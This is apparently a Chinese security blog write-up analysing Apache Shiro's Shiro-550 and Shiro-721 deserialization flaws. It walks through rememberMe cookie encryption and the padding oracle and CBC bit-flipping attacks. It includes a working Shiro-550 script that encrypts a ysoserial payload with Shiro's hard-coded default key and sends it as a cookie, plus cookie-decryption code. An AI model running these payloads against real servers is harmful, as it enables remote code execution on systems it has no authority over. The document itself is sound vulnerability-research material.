0%

Shiro反序列化漏洞分析

序言

浮云游子意,落日故人情。

填Shiro的坑。

Apache Shiro 简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。Shiro的优势在于轻量级,使用简单、上手更快、学习成本低。

Shiro-550

特征:返回包中包含rememberMe=deleteMe字段。

影响版本:shiro<1.2.24

环境搭建

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

打开samples/web文件,这个是带jsp界面的,待会儿审计的类存放在pom依赖中,maven会帮助我们去找的

image-20211018162539922

修改一下pom.xml:

1
2
3
4
5
6
7
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>

有时候IDEA会自动识别facets,没有的话自己去找web.xml手动配一下,

首先为项目生成artifacts,最后不要忘记配置artifact:

image-20210909194117777

成功:

image-20210909194253598

调试

官方提示CookieRememberMeManager类中

image-20210910135738607

可以看出一对对称函数(shiro-core的jar包中):

image-20210910134817070

加密

把断点下在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin,debug模式启动tomcat容器,root-secret ,勾选Remember Me选项,来到:

image-20210909194933883

image-20210909195047274

image-20210909195201209

image-20210909195303738

来到这里,我们跟进entrypt方法:

image-20210909195446227

cipherService具体如下:

image-20210909195621660

getEncryptionCipherKey具体是干嘛的呢:

image-20210909195759875

返回硬编码的key:kPH+bIxk5D2deZiIxcaaaA==

继续跟,直到结束前面所有的操作;

image-20210909195948967

进入rememberSerializedIdentity函数:

image-20210909200116535

image-20210909202655028

总结流程:

  1. 用户名序列化
  2. AES-CBC加密,key已知为kPH+bIxk5D2deZiIxcaaaA==
  3. Base64编码
  4. 将上述设置到cookie中的rememberme字段

解密

断点打到org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity

image-20210909201145351

image-20210909201335495

两个重点:

1- 跟进getRememberedPrincipals函数:

image-20210909201721909

base64为rememberMe字段的value,需要先进行base64解码,返回解密内容

2- 跟进convertBytesToPrincipals函数,参数bytes存放的是base64解密内容

image-20210909223451788

image-20210909223605212

可以看到先AES解密,再反序列化

image-20210909223655061

image-20210909223726963

解密过程总结:

  1. 读取cookie中的rememberMe字段的值
  2. Base64解码
  3. AES解密 Key已知
  4. 反序列化得到用户名

调试小记

火狐+burpsuite

  1. 启动tomcat

第一次登陆注册,钩上rememberMe,之后正常登陆,抓包留存:

  1. 在解密这里下断点,在登录状态下,删除JSESSIONID字段,发送第一步保存的数据包,

image-20210909230120134

  1. 触发断点,可以继续跟解密步骤了

漏洞利用

这里结合URLDNS打一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
target = "http://127.0.0.1:8081/samples_web_war_exploded/"
jar_file = 'ysoserial-0.0.6-SNAPSHOT-all.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

# 创建 rememberme的值
popen = subprocess.Popen(['java','-jar', jar_file, "URLDNS", "http://mfn1qr.dnslog.cn"],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))



# 发送get请求
try:
r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
traceback.print_exc()

Shiro-721

用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段

影响版本:Apache Shiro < 1.4.2版本

背景

AES加密模式

  • AES是一种对称加密的分组加密算法。

  • 分组长度固定为128bit

  • 密钥长度可变,128bit、192bit、256bit

  • AES应密钥长度可以称为AES-128,AES-192,AES-256

AES加密标准 密钥长度 分组长度 加密轮数
AES-128 128 bits ( 4 Bytes × 32 bits/Bytes ) 128 bits 10
AES-192 192 bits ( 6 Bytes × 32 bits/Bytes ) 128 bits 12
AES-256 256 bits ( 8 Bytes × 32 bits/Bytes ) 128 bits 14

分组模式

分组加密有 5 种可选方式:

  • ECS ( Electronic Codebook Book , 电话本模式 )
  • CBC ( Cipher Block Chaining , 密码分组链接模式 )
  • CTR ( Counter , 计算器模式 )
  • CFB ( Cipher FeedBack , 密码反馈模式 )
  • OFB ( Output FeedBack , 输出反馈模式 )

CBC 模式

CBC模式作为分组加密的一种,加解密方法如图:

image-20211018110917843

加密过程中,

IV(Initialization Vector)表示起始向量,通常是随机生成的,长度同分组大小相同,同明文一起传输。

padding:表示填充位,凑成长度为分组的整数倍

第一个明文块首先会和IV进行异或操作,再执行AES加密,得到第一密文块。

之后,每个明文块会与前一个密文块进行异或,再进行加密。

最终的密文长度就是图中所有ciphertext块的拼接长度

image-20211018110517102

解密过程中,

首先密文按照分组长度进行分组,

第一个密文块直接进行AES解密,得到middletext,该结果再与IV进行异或,得到第一明文块

之后每一个AES的解密出来的middletext都会和前一个密文块进行异或,得到对应的明文块。

明文块再拼接到一起就是解密出来的明文

Padding 填充模式

Padding是在加密过程中,在最后一个分组的结尾进行填充,用于补齐。

AES-CBC模式下的三种Padding方式:

  • NoPadding : 明文长度必须是 16 Bytes 的倍数。
  • PKCS5Padding : 以完整字节填充 , 每个填充字节的值是用于填充的字节数 。即要填充 N 个字节 , 每个字节都为 N。
  • ISO10126Padding : 以随机字节填充 , 最后一个字节为填充字节的个数 。

Shiro用的是PKCS5Padding:

正确的padding byte值只可能为:

  • 1个字节的padding为0x01
  • 2个字节的padding为0x02,0x02
  • 3个字节的padding为0x03,0x03,0x03
  • 4个字节的padding为0x04,0x04,0x04,0x04
image-20211021095129395

值得一提的是,当待加密的数据长度刚好满足分组长度的倍数时,仍然需要填充一个分组长度。

Padding Oracle Attack

Padding Oracle Attack 是一种针对CBC模式分组加密算法的攻击,知道padding model,解密获得明文。

要成功进行Padding Oracle Attack是需要服务端返回两个不同的响应特征来进行Bool判断的。

在Apache Shiro的场景中,这个服务端的两个不同的响应特征为:

  • Padding Oracle错误时,服务端响应报文的Set-Cookie头字段返回rememberMe=deleteMe
  • Padding Oracle正确时,服务端返回正常的响应报文内容;
image-20211018141105917

解密:破解明文

大前提:

1. 服务器会对解密结果进行padding校验,给出响应,再判断解密结果的正确性。

2. 攻击者知道全部密文以及初始向量IV

image-20211018110517102

当解密时,最后一组的middle是固定的,倒数第二组的密文和最后一组的middle异或的结果一定是满足padding模式的。

合格的明文padding只有8种case,这是可以穷举的。

这时我们需要一个二元组,第一组tmp_IV全是0,第二个为当前组的密文C[n]。

开始爆破:

  1. 尝试让这组plaintext的最后一个字节为0x01,tmp_IV的最后一个字节在0x00~0xff 范围内开始穷举,去与middle整体异或,直到异或结果的最后一位为0x01,假设此时tmp_IV最后一个字节的结果为0x42。

    我们可以通过它得到实际middle的最后一个字节的内容为0x42 XOR 0x01 = 0x43。

    之后让plaintext的最后两个字节为0x0202,最后三个字节为0x030303,最后四个字节为0x040404…,最后8个字节为0x0808080808080808。

    此时就获得了最后一组密文的middle。

  2. 把最后一组密文的middle与倒数第二组密文进行XOR,便可得到最后一组的明文。

  3. 舍弃掉最后一组密文,向服务器提交第一组~倒数第二组密文,迭代1、2操作,获得倒数第二组明文。依次规律,直到获得所有分组的明文

  4. 将明文拼接到一起就是解密结果

因此,通过Padding Oracle Attack可以在不知道key的情况下,获取全部明文的值。

加密:篡改明文

在我们获得每一组的middle之后,攻击者可以通过控制IV,使密文解密为任意明文

参考f1sh

1
2
3
原明文^原IV = middle
新明文^新IV = middle
原明文^原IV^新明文 = 新IV

简单来说,如果我们可以控制IV,将IV = 原明文^原IV^新明文,将新的IV提交,服务器解密就可以得到我们想要的明文。

做法:

原明文的AES加密结果为C[0]-C[N],我们想要的明文为P[0]-P[N]

我们只需要C[N]即可,只要C[N]不变,M[N]就不变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
全0+C[N]爆破,得到M[N]
M[N] XOR P[N] = IV[N] # 这里的IV[N]表示的是参与C[N]这轮的iv
IV[N] = C[N-1] # IV就是前一轮的密文
---
全0+C[N-1]爆破,得到M[N-1]
M[N-1] XOR P[N-1] = IV[N-1]
IV[N-1] = C[N-2]
...
---
全0+C[0]爆破,得到M[0]
M[0] XOR P[0] = IV # 起始IV

IV+C 拼接一下就可以获得我们定制化的密文了
这串密文发送给服务器,服务器就会帮助我们解密为我们想要的明文了

CBC翻转攻击

一句话,通过修改密文进而篡改明文。

第N组明文=第N组密文的解密结果 XOR 第N-1组密文

公式表达

1
2
Plaintext[0] = Decrypt(Cipher[0]) XOR IV (N=0)
Plaintext[N] = Decrypt(Cipher[N]) XOR Cipher[N-1] (N>=1)

N>=1下我们假设:

M = Decrypt(Cipher[N])

C = Cipher[N-1]

P = Plaintext[N]

根据异或特性有,两个数相同为0,不同为1:

1
2
3
4
5
6
7
8
9
10
11
12
M XOR C = P
M XOR C XOR P = 0
M XOR C XOR P XOR X = X

最后一组的M是不变的,会一直传递到第一组
C=V 好理解一点
M XOR V = P
M XOR V' = P'

可得:
V XOR P = V' XOR P'
V' = V XOR P XOR P'

举个例子:

cipher = “0123456789,helloworld,java”

将通过CBC攻击密文篡改明文为”0123456789,helloworld,javA”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from Crypto.Cipher import AES
from binascii import b2a_hex,a2b_hex

def encrypt(iv,plaintext):
if len(plaintext)%16 != 0:
print ("plaintext length is invalid")
return
if len(iv) != 16:
print ("IV length is invalid")
return
key="1234abcd1234abcd"
aes_encrypt = AES.new(key,AES.MODE_CBC,IV=iv)
return b2a_hex(aes_encrypt.encrypt(plaintext))

def decrypt(iv,cipher):
if len(iv) != 16:
print ("IV length is invalid")
return
key="1234abcd1234abcd"
aes_decrypt = AES.new(key,AES.MODE_CBC,IV=iv)
return b2a_hex(aes_decrypt.decrypt(a2b_hex(cipher)))

def test():
iv="ABCDEFGH12345678"
plaintext="0123456789ABCDEFGHhelloworldjava"
cipher=encrypt(iv, plaintext) # 密文
print (cipher)
de_cipher = decrypt(iv, cipher) # 明文
print (de_cipher)
print (a2b_hex(de_cipher))

# 修改java->javA 但是第一个分组乱码
bin_cipher = bytearray(a2b_hex(cipher))
bin_cipher[15] = bin_cipher[15] ^ ord('a') ^ ord('A')
de_cipher = decrypt(iv,b2a_hex(bin_cipher))
print (de_cipher)
print (a2b_hex(de_cipher))

# 修改IV 不让第一个分组乱码,统一为X
bin_decipher = bytearray(a2b_hex(de_cipher))
bin_iv = bytearray(iv.encode())
for i in range(0,len(iv)):
bin_iv[i] = bin_iv[i] ^ bin_decipher[i] ^ ord('X')
print(bin_iv)
de_cipher = decrypt(bytes(bin_iv),b2a_hex(bin_cipher))
print (de_cipher)
print (a2b_hex(de_cipher))

test()

调试

和550一样,debug启动起来,把断点下到org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals的convertBytesToPrincipals处,持续跟进:

image-20211018171112020

image-20211018173132892 image-20211018191828795

接下来进入

image-20211018191909091

做了一系列处理

image-20211018193429360

image-20211018193508168 image-20211018193555759 image-20211018193614757

进入doFinal函数

image-20211018193745018 image-20211018193721060 image-20211018193841499

image-20211018193918762

image-20211018194008372

调用链:

1
2
3
4
5
6
javax.crypto.Cipher#doFinal(byte[])
com.sun.crypto.provider.AESCipher#engineDoFinal(byte[], int, int)
com.sun.crypto.provider.CipherCore#doFinal(byte[], int, int)
com.sun.crypto.provider.CipherCore#fillOutputBuffer
com.sun.crypto.provider.CipherCore#unpad
com.sun.crypto.provider.PKCS5Padding#unpad

可以看到了来到了Shiro选择的PKCS5Padding类unpad函数:

image-20211018194444766

这里如果unpad报错,会爆异常new CryptoException(msg, e);

回到上层可以看到,由onRememberedPrincipalFailure函数来处理

image-20211018195432687 image-20211018195807299

只要padding错误,服务端就会返回一个cookie: rememberMe=deleteMe;

漏洞利用

前提1: 攻击者拥有正常用户的rememberMe字段

shiro的rememberMe中存放的是:前16字节为IV,后面为AES加密之后的密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
from Crypto.Cipher import AES

def get_encrypted_text(RememberMe_cookie):
return base64.b64decode(RememberMe_cookie)

def decode(encrypted_text):
key = "kPH+bIxk5D2deZiIxcaaaA=="
IV = encrypted_text[:16]
remember_bin = AES.new(base64.b64decode(key), AES.MODE_CBC, IV=IV).decrypt(encrypted_text[16:])
return remember_bin

def crack():
cookie = 'oDH/OY3qZfZpZm1RFaA1DmI4p5H3EoqZ68EXtik2MykvTm/eRECW8vEBUCHC06MbEWfOyUwH58DwO9wdnTwgJNqx5x6slvWck6JX3wLZVn3sENcTFn3CstloTZKQ6vp1lh0YHyb631QLPjeZ3LutBu8hU7omax9AYffVggodgAuAdaiA9beWb4rntBLh3s0RAs7HDwypm+qvUOM1FghD3+KON/C3bCTyjk/x+NCHaMJif6pUY/n0eTvl17WTLIYY1PygQBtxDuMtpsIZUkEZPMaBSLwXyzJIY34iWMleTKqlSk5i3zy9MufA2OR/dJjZfFdpIV2j5YJleEFnbjOhDtU7dOG38Y4uHwEnxKQgFcJNKETUKD6Blrw3/7orH6Ay9J1EFEw2dXhrWBhSvHuZ1AL3rn96vcvWUSIMZqpFDXTz0gqgLa0n397U/WPF188nqPNOPV2JT4mW6Xhkhwl6kUmIE7TxhT04Xms5g4qAjiWAsdOs5V+Kw/c/TqNNroFI'
with open("rememberMe.bin", 'wb+') as f:
f.write(decode(get_encrypted_text(cookie)))

crack()

熟悉的aced0005~

注意,最后一行都是0x10,说明已经是填充过后的了

image-20211019100052257

前提2:Java反序列化格式

Java反序列化是按照字节流的格式进行读取,反序列化数据末尾的脏数据不会报错。

这是因为:readobject读取的serialdata长度是在serialdata头部就约定好的。

payload构造原理

原理是攻击者将正常用户的rememberMe拿到,使用不断的Padding Oracle Attack对我们的恶意反序列化payload编写密文,进行加密。

经过调试,我们可以知道:

  1. 当用户的cookie认证失败,服务端就会返回一个cookie: rememberMe=deleteMe;

  2. 只要padding错误,服务端就会返回一个cookie: rememberMe=deleteMe;

所以我们只要在AES密文(rememberMe经过Base64解密之后的值)后面添加脏数据,解密之后符合padding model就可以绕过了。

复习一遍Shiro加解密流程:

加密:token -(序列化)-> token_serilized(aced0005…) -(AES_Enc)-> cipher -(Base64)-> rememberMe

解密:rememberMe -(Base64)->cipher-(AES_Dec)->token_serilized(aced0005…)-(反序列化)->token

image-20211021004247569

审计了一下longofo师傅的项目,终于搞懂了最终的payload是怎么生成的。

假设现在yso.bin是我们的恶意payload,它作为明文首先要被分组,最后一列填充,倒序排列。

为什么倒序排列?因为遍历明文时候,第一组其实就是明文的最后一组,构造我们的恶意密文的方向其实是从后向前的。

首先生成一组脏数据X,这组脏数据会放在最终payload的最后一组,规范一点,X被0-127任意值填充。

我们需要的是:

  1. 正常的rememberMe
  2. 二元组:0x00*16+X
image-20211021094442668

接下来使用padding oracle attack去加密这些分组,怎么做?爆破!

rememberMe+0x00*16+X发送给server,padding oracle attack 获得X对应的tempIV。

我们希望X的解密结果是我们Payload的最后一组,所以我们有:

P[n] XOR tempIV = C[n-1]

也就是说,我们知道X这组的middle是tempIV,知道明文P[n],我们就可以通异或,定制化倒数第二组密文。

之后继续这样做,构建二元组,rememberMe+0x00*16+C[n-1],发送给服务器,获得倒数第二组的tempIV,再与我们的倒数第二组明文进行异或,得到倒数第三段密文。

这样不断向前推导,可以获得IV+C,对它进行Base64加密,这串就是新的rememberMe。

当Shiro解密时,AES解密结果decoded就是我们的恶意payload(肯定符合padding model 是因为我们的payload前期已经处理过了,已经做好了填充),直接参与反序列化,触发漏洞。

Shiro对AES解密的结果只校验了是否符合padding model,符合就无脑去反序列化,这也是漏洞成因的关键所在。
我们payload最后其实是有一串脏数据的(那一串被随机数填满的),但是这并不影响反序列化,因为反序列化读取是有自己的规范的,只读serialdata指定长度,反完走人,后面多出来的不管。

结尾

老洞新看,发现很多师傅的文章中,没有讲最终的payload是如何生成的,自己尝试玩了几天,还是很有收获的。

感谢Zebork师兄与我一起头脑风暴,Padding Oracle Attack那块确实很有意思^ _ ^

参考:

Going the other way with padding oracles: Encrypting arbitrary data!
工具:PaddingOracleAttack-Shiro-721
Shiro721公告
利用:Shiro反序列化漏洞
Padding Oracle Attack 浅析
Mi1k7ea:浅析CBC字节翻转攻击与Padding Oracle Attack
Mi1k7ea:浅析Shiro Padding Oracle Attack(Shiro721)
从更深层面看Shiro Padding Oracle漏洞
ShiroExploit检测工具
Shiro组件漏洞与攻击链分析